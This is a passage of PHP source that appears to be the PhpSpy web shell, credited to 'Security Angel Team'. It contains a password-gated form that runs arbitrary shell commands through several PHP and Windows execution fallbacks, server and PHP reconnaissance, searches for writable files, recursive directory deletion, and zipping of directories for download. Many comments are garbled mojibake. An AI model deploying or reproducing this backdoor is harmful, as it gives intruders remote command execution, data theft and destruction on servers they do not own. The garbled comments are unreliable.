1380 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1381 p('</p>');
1382 formfoot();
1383 }
1384 formhead(array('title'=>'Execute Command'));
1385 makehide('action','shell');
1386 if (IS_WIN && IS_COM) {
1387 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1388 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1389 }
1390 p('<p>');
1391 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1392 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1393 p('</p>');
1394 formfoot();
1395
1396 if ($command) {
1397 p('<hr width="100%" noshade /><pre>');
1398 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1399 $wsh = new COM('WScript.shell');
1400 $exec = $wsh->exec('cmd.exe /c '.$command);
1401 $stdout = $exec->StdOut();
1402 $stroutput = $stdout->ReadAll();
1403 echo $stroutput;
1404 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1405 $descriptorspec = array(
1406 0 => array('pipe', 'r'),
1407 1 => array('pipe', 'w'),
1408 2 => array('pipe', 'w')
1409 );
1410 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1411 if (is_resource($process)) {
1412 fwrite($pipes[0], $command."\r\n");
1413 fwrite($pipes[0], "exit\r\n");
1414 fclose($pipes[0]);
1415 while (!feof($pipes[1])) {
1416 echo fgets($pipes[1], 1024);
1417 }
1418 fclose($pipes[1]);
1419 while (!feof($pipes[2])) {
1420 echo fgets($pipes[2], 1024);
1421 }
1422 fclose($pipes[2]);
1423 proc_close($process);
1424 }
1425 } else {
1426 echo(execute($command));
1427 }
1428 p('</pre>');
1429 }
1430}//end shell
1431
1432elseif ($action == 'phpenv') {
1433 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1434 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1435 !$dis_func && $dis_func = 'No';
1436 $info = array(
1437 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1438 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1439 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1440 4 => array('Server OS',PHP_OS),
1441 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1442 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1443 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1444 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1445 9 => array('The file path',__FILE__),
1446
1447 10 => array('PHP Version',PHP_VERSION),
1448 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1449 12 => array('Safe Mode',getcfg('safe_mode')),
1450 13 => array('Administrator',$adminmail),
1451 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1452 15 => array('enable_dl',getcfg('enable_dl')),
1453 16 => array('display_errors',getcfg('display_errors')),
1454 17 => array('register_globals',getcfg('register_globals')),
1455 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1456 19 => array('memory_limit',getcfg('memory_limit')),
1457 20 => array('post_max_size',getcfg('post_max_size')),
1458 21 => array('upload_max_filesize',$upsize),
1459 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1460 23 => array('disable_functions',$dis_func),
1461 );
1462
1463 if($phpvarname) {
1464 m($phpvarname .' : '.getcfg($phpvarname));
1465 }
1466
1467 formhead(array('title'=>'Server environment'));
1468 makehide('action','phpenv');
1469 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1470 formfooter();
1471
1472 $hp = array(0=> 'Server', 1=> 'PHP');
1473 for($a=0;$a<2;$a++) {
1474 p('<h2>'.$hp[$a].' »</h2>');
1475 p('<ul class="info">');
1476 if ($a==0) {
1477 for($i=1;$i<=9;$i++) {
1478 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1479 }
1480 } elseif ($a == 1) {
1481 for($i=10;$i<=23;$i++) {
1482 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1483 }
1484 }
1485 p('</ul>');
1486 }
1487}//end phpenv
1488
1489else {
1490 m('Undefined Action');
1491}
1492
1493?>
1494</td></tr></table>
1495<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1496 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1497 Copyright (C) 2004-2009 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
1498</div>
1499</body>
1500</html>
1501
1502<?php
1503
1504/*======================================================
1505锟斤拷锟斤拷锟斤拷
1506======================================================*/
1507
1508function m($msg) {
1509 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1510 echo $msg;
1511 echo '</div>';
1512}
1513function scookie($key, $value, $life = 0, $prefix = 1) {
1514 global $admin, $timestamp, $_SERVER;
1515 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1516 $life = $life ? $life : $admin['cookielife'];
1517 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1518 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1519}
1520function multi($num, $perpage, $curpage, $tablename) {
1521 $multipage = '';
1522 if($num > $perpage) {
1523 $page = 10;
1524 $offset = 5;
1525 $pages = @ceil($num / $perpage);
1526 if($page > $pages) {
1527 $from = 1;
1528 $to = $pages;
1529 } else {
1530 $from = $curpage - $offset;
1531 $to = $curpage + $page - $offset - 1;
1532 if($from < 1) {
1533 $to = $curpage + 1 - $from;
1534 $from = 1;
1535 if(($to - $from) < $page && ($to - $from) < $pages) {
1536 $to = $page;
1537 }
1538 } elseif($to > $pages) {
1539 $from = $curpage - $pages + $to;
1540 $to = $pages;
1541 if(($to - $from) < $page && ($to - $from) < $pages) {
1542 $from = $pages - $page + 1;
1543 }
1544 }
1545 }
1546 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1547 for($i = $from; $i <= $to; $i++) {
1548 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1549 }
1550 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1551 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1552 }
1553 return $multipage;
1554}
1555// 锟斤拷陆锟斤拷锟斤拷
1556function loginpage() {
1557?>
1558 <style type="text/css">
1559 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1560 </style>
1561 <form method="POST" action="<?php echo $self;?>" style="margin:20px auto;width:500px;text-align:center">
1562 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1563 <input type="hidden" name="doing" value="login">
1564 <input type="submit" value="Login">
1565 </form>
1566<?php
1567 exit;
1568}//end loginpage()
1569
1570function execute($cfe) {
1571 $res = '';
1572 if ($cfe) {
1573 if(function_exists('passthru')) {
1574 $res = @passthru($cfe);
1575 } elseif(function_exists('shell_exec')) {
1576 $res = @shell_exec($cfe);
1577 } elseif(function_exists('system')) {
1578 @ob_start();
1579 @system($cfe);
1580 $res = @ob_get_contents();
1581 @ob_end_clean();
1582 } elseif(function_exists('exec')) {
1583 @exec($cfe,$res);
1584 $res = join("\n",$res);
1585 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1586 $res = '';
1587 while(!@feof($f)) {
1588 $res .= @fread($f,1024);
1589 }
1590 @pclose($f);
1591 }
1592 }
1593 return $res;
1594}
1595function which($pr) {
1596 $path = execute("which $pr");
1597 return ($path ? $path : $pr);
1598}
1599
1600function cf($fname,$text){
1601 if($fp=@fopen($fname,'w')) {
1602 @fputs($fp,@base64_decode($text));
1603 @fclose($fp);
1604 }
1605}
1606function dirsize($dir) {
1607 $dh = @opendir($dir);
1608 $size = 0;
1609 while($file = @readdir($dh)) {
1610 if ($file != '.' && $file != '..') {
1611 $path = $dir.'/'.$file;
1612 if (@is_dir($path)) {
1613 $size += dirsize($path);
1614 } else {
1615 $size += @filesize($path);
1616 }
1617 }
1618 }
1619 @closedir($dh);
1620 return $size;
1621}
1622// 页锟斤拷锟斤拷锟斤拷锟斤拷æ¯
1623function debuginfo() {
1624 global $starttime;
1625 $mtime = explode(' ', microtime());
1626 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1627 echo 'Processed in '.$totaltime.' second(s)';
1628}
1629
1630//锟斤拷锟斤拷MYSQL锟斤拷锟æ·åŒ¡æ‹·
1631function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1632 global $charsetdb;
1633 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1634 p('<h2>Can not connect to MySQL server</h2>');
1635 exit;
1636 }
1637 if($link && $dbname) {
1638 if (!@mysql_select_db($dbname, $link)) {
1639 p('<h2>Database selected has error</h2>');
1640 exit;
1641 }
1642 }
1643 if($link && mysql_get_server_info() > '4.1') {
1644 if(in_array(strtolower($charset), $charsetdb)) {
1645 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1646 }
1647 }
1648 return $link;
1649}
1650
1651// 去锟斤拷转锟斤拷锟街凤拷
1652function s_array(&$array) {
1653 if (is_array($array)) {
1654 foreach ($array as $k => $v) {
1655 $array[$k] = s_array($v);
1656 }
1657 } else if (is_string($array)) {
1658 $array = stripslashes($array);
1659 }
1660 return $array;
1661}
1662
1663// 锟斤拷锟斤拷HTML锟斤拷锟斤拷
1664function html_clean($content) {
1665 $content = htmlspecialchars($content);
1666 $content = str_replace("\n", "<br />", $content);
1667 $content = str_replace(" ", " ", $content);
1668 $content = str_replace("\t", " ", $content);
1669 return $content;
1670}
1671
1672// é”Ÿæ–¤æ‹·å–æƒé”Ÿæ–¤æ‹·
1673function getChmod($filepath){
1674 return substr(base_convert(@fileperms($filepath),10,8),-4);
1675}
1676
1677function getPerms($filepath) {
1678 $mode = @fileperms($filepath);
1679 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1680 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1681 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1682 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1683 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1684 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1685 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1686 else {$type = '?';}
1687
1688 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1689 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1690 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1691 $group['read'] = ($mode & 00040) ? 'r' : '-';
1692 $group['write'] = ($mode & 00020) ? 'w' : '-';
1693 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1694 $world['read'] = ($mode & 00004) ? 'r' : '-';
1695 $world['write'] = ($mode & 00002) ? 'w' : '-';
1696 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1697
1698 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1699 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1700 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1701
1702 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1703}
1704
1705function getUser($filepath) {
1706 if (function_exists('posix_getpwuid')) {
1707 $array = @posix_getpwuid(@fileowner($filepath));
1708 if ($array && is_array($array)) {
1709 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1710 }
1711 }
1712 return '';
1713}
1714
1715// åˆ é”Ÿæ–¤æ‹·ç›®å½•
1716function deltree($deldir) {
1717 $mydir=@dir($deldir);
1718 while($file=$mydir->read()) {
1719 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1720 @chmod($deldir.'/'.$file,0777);
1721 deltree($deldir.'/'.$file);
1722 }
1723 if (is_file($deldir.'/'.$file)) {
1724 @chmod($deldir.'/'.$file,0777);
1725 @unlink($deldir.'/'.$file);
1726 }
1727 }
1728 $mydir->close();
1729 @chmod($deldir,0777);
1730 return @rmdir($deldir) ? 1 : 0;
1731}
1732
1733// 锟斤拷锟斤拷锟å«ç¡·æ‹·é”Ÿä¾¥æ†‹æ‹·é”Ÿæ–¤æ‹·è‰²é”ŸèŠ¥æ¢
1734function bg() {
1735 global $bgc;
1736 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1737}
1738
1739// 锟斤拷å–锟斤拷å‰é”Ÿæ–¤æ‹·é”Ÿä¾¥ç¡·æ‹·ç³»ç»Ÿè·¯é”Ÿæ–¤æ‹·
1740function getPath($scriptpath, $nowpath) {
1741 if ($nowpath == '.') {
1742 $nowpath = $scriptpath;
1743 }
1744 $nowpath = str_replace('\\', '/', $nowpath);
1745 $nowpath = str_replace('//', '/', $nowpath);
1746 if (substr($nowpath, -1) != '/') {
1747 $nowpath = $nowpath.'/';
1748 }
1749 return $nowpath;
1750}
1751
1752// 锟斤拷å–锟斤拷å‰ç›®å½•锟斤拷锟较硷拷目录
1753function getUpPath($nowpath) {
1754 $pathdb = explode('/', $nowpath);
1755 $num = count($pathdb);
1756 if ($num > 2) {
1757 unset($pathdb[$num-1],$pathdb[$num-2]);
1758 }
1759 $uppath = implode('/', $pathdb).'/';
1760 $uppath = str_replace('//', '/', $uppath);
1761 return $uppath;
1762}
1763
1764// 锟斤拷锟斤拷PHP锟斤拷锟矫诧拷锟斤拷
1765function getcfg($varname) {
1766 $result = get_cfg_var($varname);
1767 if ($result == 0) {
1768 return 'No';
1769 } elseif ($result == 1) {
1770 return 'Yes';
1771 } else {
1772 return $result;
1773 }
1774}
1775
1776// 锟斤拷锟介函锟斤拷锟斤拷锟斤拷
1777function getfun($funName) {
1778 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1779}
1780
1781// 锟斤拷锟斤拷锟侥硷拷锟斤拷展锟斤拷
1782function getextension($filename) {
1783 $pathinfo = pathinfo($filename);
1784 return $pathinfo['extension'];
1785}
1786
1787function GetWDirList($dir){
1788 global $dirdata,$j,$nowpath;
1789 !$j && $j=1;
1790 if ($dh = opendir($dir)) {
1791 while ($file = readdir($dh)) {
1792 $f=str_replace('//','/',$dir.'/'.$file);
1793 if($file!='.' && $file!='..' && is_dir($f)){
1794 if (is_writable($f)) {
1795 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1796 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1797 $dirdata[$j]['dirchmod']=getChmod($f);
1798 $dirdata[$j]['dirperm']=getPerms($f);
1799 $dirdata[$j]['dirlink']=ue($dir);
1800 $dirdata[$j]['server_link']=$f;
1801 $dirdata[$j]['client_link']=ue($f);
1802 $j++;
1803 }
1804 GetWDirList($f);
1805 }
1806 }
1807 closedir($dh);
1808 clearstatcache();
1809 return $dirdata;
1810 } else {
1811 return array();
1812 }
1813}
1814
1815function GetWFileList($dir){
1816 global $filedata,$j,$nowpath, $writabledb;
1817 !$j && $j=1;
1818 if ($dh = opendir($dir)) {
1819 while ($file = readdir($dh)) {
1820 $ext = strtolower(getextension($file));
1821 $f=str_replace('//','/',$dir.'/'.$file);
1822 if($file!='.' && $file!='..' && is_dir($f)){
1823 GetWFileList($f);
1824 } elseif($file!='.' && $file!='..' && is_file($f) && (in_array($ext, explode(',', $writabledb))||$writabledb=="")){
1825 if (is_writable($f)) {
1826 $filedata[$j]['filename']=str_replace($nowpath,'',$f);
1827 $filedata[$j]['size']=sizecount(@filesize($f));
1828 $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1829 $filedata[$j]['filechmod']=getChmod($f);
1830 $filedata[$j]['fileperm']=getPerms($f);
1831 $filedata[$j]['fileowner']=getUser($f);
1832 $filedata[$j]['dirlink']=$dir;
1833 $filedata[$j]['server_link']=$f;
1834 $filedata[$j]['client_link']=ue($f);
1835 $j++;
1836 }
1837 }
1838 }
1839 closedir($dh);
1840 clearstatcache();
1841 return $filedata;
1842 } else {
1843 return array();
1844 }
1845}
1846
1847function GetSFileList($dir, $content, $re = 0) {
1848 global $filedata,$j,$nowpath, $writabledb;
1849 !$j && $j=1;
1850 if ($dh = opendir($dir)) {
1851 while ($file = readdir($dh)) {
1852 $ext = strtolower(getextension($file));
1853 $f=str_replace('//','/',$dir.'/'.$file);
1854 if($file!='.' && $file!='..' && is_dir($f)){
1855 GetSFileList($f, $content, $re = 0);
1856 } elseif($file!='.' && $file!='..' && is_file($f) && (in_array($ext, explode(',', $writabledb))||$writabledb=="")){
1857 $find = 0;
1858 if ($re) {
1859 if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){
1860 $find = 1;
1861 }
1862 } else {
1863 if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) {
1864 $find = 1;
1865 }
1866 }
1867 if ($find) {
1868 $filedata[$j]['filename']=str_replace($nowpath,'',$f);
1869 $filedata[$j]['size']=sizecount(@filesize($f));
1870 $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1871 $filedata[$j]['filechmod']=getChmod($f);
1872 $filedata[$j]['fileperm']=getPerms($f);
1873 $filedata[$j]['fileowner']=getUser($f);
1874 $filedata[$j]['dirlink']=$dir;
1875 $filedata[$j]['server_link']=$f;
1876 $filedata[$j]['client_link']=ue($f);
1877 $j++;
1878 }
1879 }
1880 }
1881 closedir($dh);
1882 clearstatcache();
1883 return $filedata;
1884 } else {
1885 return array();
1886 }
1887}
1888
1889function qy($sql) {
1890 //echo $sql.'<br>';
1891 $res = $error = '';
1892 if(!$res = @mysql_query($sql)) {
1893 return 0;
1894 } else if(is_resource($res)) {
1895 return 1;
1896 } else {
1897 return 2;
1898 }
1899 return 0;
1900}
1901
1902function q($sql) {
1903 return @mysql_query($sql);
1904}
1905
1906function fr($qy){
1907 mysql_free_result($qy);
1908}
1909
1910function sizecount($size) {
1911 if($size > 1073741824) {
1912 $size = round($size / 1073741824 * 100) / 100 . ' G';
1913 } elseif($size > 1048576) {
1914 $size = round($size / 1048576 * 100) / 100 . ' M';
1915 } elseif($size > 1024) {
1916 $size = round($size / 1024 * 100) / 100 . ' K';
1917 } else {
1918 $size = $size . ' B';
1919 }
1920 return $size;
1921}
1922
1923
1924Class PHPZip1{
1925 var $StrPath="../../@UpLoad";
1926 var $datasec=array();
1927 var $ctrl_dir=array();
1928 var $eof_ctrl_dir="\x50\x4b\x05\x06\x00\x00\x00\x00";
1929 var $old_offset=0;
1930
1931 //压锟斤拷锟斤拷锟斤拷锟斤拷
1932 Function DownLoad($curdir,$zipfilename,$out){
1933 $zipfilename=StrToLower($zipfilename);
1934 $curdir=Str_iReplace(basename($curdir),"",$curdir);
1935 chdir($curdir.$this->StrPath);
1936
1937 header('Content-Encoding: none');
1938 header('Content-Type: application/zip');
1939 header('Content-Disposition: attachment ; filename='.Str_Replace(".zip","",basename($zipfilename)).'.zip');
1940 header('Pragma: no-cache');
1941 header('Expires: 0');
1942 print($out);
1943 }
1944
1945 //压锟斤拷锟襟ä¿è¾¾æ‹·é”ŸèŠ‚å‡¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·,默锟斤拷锟斤拷/@Upload锟斤拷
1946 Function SaveFile($curdir,$zipfilename,$out){
1947 $curdir=Str_iReplace(basename($curdir),"",$curdir);
1948 chdir($curdir.$this->StrPath);
1949 $fp=fopen($zipfilename,"wb");
1950 fwrite($fp,$out,strlen($out));
1951 fclose($fp);
1952 }
1953
1954 //锟斤拷锟斤拷锟斤拷途:压锟斤拷锟侥硷拷锟斤拷,锟æ·ç™¸æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·
1955 //锟斤拷锟斤拷锟斤拷锟斤拷:$dir锟斤拷è¦åŽ‹é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·ç›®å½•,$zipfilename压锟斤拷锟斤拷锟斤拷锟侥硷拷锟斤拷锟斤拷锟斤拷锟斤拷路锟斤拷,$Todo锟斤拷锟斤拷锟斤拷å¼1锟结供锟斤拷锟斤拷2锟斤拷锟斤拷锟侥硷拷锟节凤拷锟斤拷锟斤拷
1956 Function ZipDir($dir,$zipfilename,$Todo){
1957 IF(!@Function_exists('gzcompress')){Return 0;}
1958 @set_time_limit("0");
1959 $this->openFile($dir,$zipfilename);
1960 $out=$this -> filezip();
1961
1962 Switch ($Todo){
1963 Case "1":
1964 $this -> DownLoad(__FILE__,$zipfilename,$out);
1965 Break;
1966 Case "2":
1967 $this -> SaveFile(__FILE__,$zipfilename,$out);
1968 Break;
1969 }
1970 }
1971
1972 //锟斤拷锟斤拷锟斤拷途:压锟斤拷锟侥硷拷,锟斤拷锟斤拷锟角碉拷锟斤拷也锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥讹拷锟斤拷
1973 //锟斤拷锟斤拷锟斤拷锟斤拷:$file锟斤拷è¦åŽ‹é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿä¾¥ç¡·æ‹·(锟斤拷为锟斤拷锟斤拷),$zipfilename压锟斤拷锟斤拷锟斤拷锟侥硷拷锟斤拷锟斤拷锟斤拷锟斤拷路锟斤拷,$Todo锟斤拷锟斤拷锟斤拷å¼1锟结供锟斤拷锟斤拷2锟斤拷锟斤拷锟侥硷拷锟节凤拷锟斤拷锟斤拷
1974 Function ZipFile($file,$zipfilename,$Todo){
1975 IF(!@Function_exists('gzcompress')){Return 0;}
1976 IF(is_array($file)){
1977 Foreach($file as $filename){
1978 IF(is_file($filename)){
1979 $fd= fopen ($filename, "rb");
1980 $content= @fread($fd, filesize ($filename));
1981 fclose ($fd);
1982
1983 $filename= basename($filename);
1984 $this -> addFile($content, $filename);
1985 }
1986 }
1987 }Else{
1988 IF(is_file($file)){
1989 $fd= fopen ($file, "rb");
1990 $content= @fread($fd, filesize($file));
1991 fclose ($fd);
1992 $file= basename($file);
1993 $this -> addFile($content, $file);
1994 }
1995 }
1996 $out= $this -> filezip();
1997
1998 Switch ($Todo){
1999 Case "1":
2000 $this -> DownLoad(__FILE__,$zipfilename,$out);
2001 Break;
2002 Case "2":
2003 $this -> SaveFile(__FILE__,$zipfilename,$out);
2004 Break;
2005 }
2006 }
2007
2008 //锟æ·ç™¸æ‹·å–锟斤拷锟铰诧拷锟侥硷拷锟斤拷锟铰碉拷锟侥硷拷
2009 Function openFile($path,$zipName){
2010 $temp_path=$path;
2011 $temp_zip_path=$zipName;
2012 IF($handle=@opendir($path)){
2013 While(false !== ($file=readdir($handle))){
2014 IF($file !='.' and $file !='..'){
2015 IF(ereg('\.' ,$file.@basename())){
2016 $fd=fopen($path.'/'.$file,"r");
2017 $fileValue=@fread($fd,1024000);
2018 fclose ($fd);
2019 $this -> addFile($fileValue,$path.'/'.$file);
2020 }Else{
2021 $this ->openFile($path.'/'.$file,$zipName.'/'.$file);
2022 }
2023 }
2024 }
2025 $zipName=$temp_zip_path;
2026 $path=$temp_path;
2027 closedir($handle);
2028 }
2029 }
2030
2031 Function addFile($data,$name,$time=0){
2032 $name=str_replace('\\','/',$name);
2033 $name=str_replace('./','',str_replace('../','',$name));
2034 $dtime=dechex($this->unix2DosTime($time));
2035 $hexdtime='\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1];
2036 Eval('$hexdtime="'.$hexdtime.'";');
2037
2038 $fr="\x50\x4b\x03\x04";
2039 $fr.="\x14\x00";
2040 $fr.="\x00\x00";
2041 $fr.="\x08\x00";
2042 $fr.=$hexdtime;
2043
2044 $unc_len=strlen($data);
2045 $crc=crc32($data);
2046 $zdata=gzcompress($data);
2047 $c_len=strlen($zdata);
2048 $zdata=substr(substr($zdata,0,strlen($zdata) - 4),2);
2049 $fr.=pack('V',$crc);
2050 $fr.=pack('V',$c_len);
2051 $fr.=pack('V',$unc_len);
2052 $fr.=pack('v',strlen($name));
2053 $fr.=pack('v',0);
2054 $fr.=$name;
2055 $fr.=$zdata;
2056 $fr.=pack('V',$crc);
2057 $fr.=pack('V',$c_len);
2058 $fr.=pack('V',$unc_len);
2059
2060 $this -> datasec[]=$fr;
2061 $new_offset=strlen(implode('',$this->datasec));
2062
2063 $cdrec="\x50\x4b\x01\x02";
2064 $cdrec.="\x00\x00";
2065 $cdrec.="\x14\x00";
2066 $cdrec.="\x00\x00";
2067 $cdrec.="\x08\x00";
2068 $cdrec.=$hexdtime;
2069 $cdrec.=pack('V',$crc);
2070 $cdrec.=pack('V',$c_len);
2071 $cdrec.=pack('V',$unc_len);
2072 $cdrec.=pack('v',strlen($name) );
2073 $cdrec.=pack('v',0 );
2074 $cdrec.=pack('v',0 );
2075 $cdrec.=pack('v',0 );
2076 $cdrec.=pack('v',0 );
2077 $cdrec.=pack('V',32 );
2078 $cdrec.=pack('V',$this -> old_offset );
2079 $this -> old_offset=$new_offset;
2080 $cdrec.=$name;
2081 $this -> ctrl_dir[]=$cdrec;
2082 }
2083
2084 Function filezip(){
2085 $data=implode('',$this -> datasec);
2086 $ctrldir=implode('',$this -> ctrl_dir);
2087
2088 Return
2089 $data.$ctrldir.$this -> eof_ctrl_dir .
2090 pack('v',sizeof($this -> ctrl_dir)) .
2091 pack('v',sizeof($this -> ctrl_dir)) .
2092 pack('V',strlen($ctrldir)) .
2093 pack('V',strlen($data))."\x00\x00";
2094 }
2095
2096 Function unix2DosTime($unixtime=0){
2097 $timearray=($unixtime== 0) ? getdate() : getdate($unixtime);
2098 IF($timearray['year'] < 1980){
2099 $timearray['year']=1980;
2100 $timearray['mon']=1;
2101 $timearray['mday']=1;
2102 $timearray['hours']=0;
2103 $timearray['minutes']=0;
2104 $timearray['seconds']=0;
2105 }
2106 Return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2107 }
2108
2109 /*
2110 锟斤拷压锟斤拷锟斤拷锟斤拷
2111 锟斤拷途:锟斤拷压锟斤拷锟侥硷拷
2112 锟斤拷锟斤拷:$zn锟斤拷è¦é”Ÿæ–¤æ‹·åŽ‹é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·zip锟侥硷拷锟斤拷路锟斤拷,$to锟斤拷压锟斤拷锟斤拷目锟侥碉拷
2113 */
2114 Function Unzip_File($zn, $to, $index = Array(-1)){
2115 $ok = 0;
2116 $zip = @fopen($zn, 'rb');
2117 IF(!$zip){Return(-1);}
2118 $cdir = $this -> ReadCentralDir($zip, $zn);
2119 $pos_entry = $cdir['offset'];
2120
2121 IF(!is_array($index)){
2122 $index = array($index);
2123 }
2124 For($i = 0; $index[$i];$i++){
2125 IF(intval($index[$i])!= $index[$i] || $index[$i] > $cdir['entries']){Return(-1);}
2126 }
2127
2128 For($i=0;$i<$cdir['entries'];$i++){
2129 @fseek($zip, $pos_entry);
2130 $header = $this -> ReadCentralFileHeaders($zip);
2131 $header['index'] = $i;
2132 $pos_entry = ftell($zip);
2133 @rewind($zip);
2134 fseek($zip, $header['offset']);
2135 IF(in_array("-1", $index) || in_array($i, $index)){$stat[$header['filename']] = $this -> ExtractFile($header, $to, $zip);}
2136 }
2137 fclose($zip);
2138 Return $stat;
2139 }
2140
2141 //å–锟斤拷压锟斤拷锟斤拷锟节碉拷锟侥硷拷锟斤拷æ¯
2142 Function get_List($zip_name){
2143 $zip = @fopen($zip_name, 'rb');
2144 IF(!$zip){Return(0);}
2145 $centd = $this -> ReadCentralDir($zip, $zip_name);
2146
2147 @rewind($zip);
2148 @fseek($zip, $centd['offset']);
2149
2150 For($i=0;$i<$centd['entries'];$i++){
2151 $header = $this -> ReadCentralFileHeaders($zip);
2152 $header['index'] = $i;
2153 $info['filename'] = $header['filename'];
2154 $info['stored_filename'] = $header['stored_filename'];
2155 $info['size'] = $header['size'];
2156 $info['compressed_size'] = $header['compressed_size'];
2157 $info['crc'] = strtoupper(dechex($header['crc']));
2158 $info['mtime'] = $header['mtime'];
2159 $info['comment'] = $header['comment'];
2160 $info['folder'] = ($header['external'] == 0x41FF0010 || $header['external'] == 16)?1:0;
2161 $info['index'] = $header['index'];
2162 $info['status'] = $header['status'];
2163 $ret[] = $info;
2164 unset($header);
2165 }
2166 Return $ret;
2167 }
2168 Function ReadFileHeader($zip){
2169 $binary_data = fread($zip, 30);
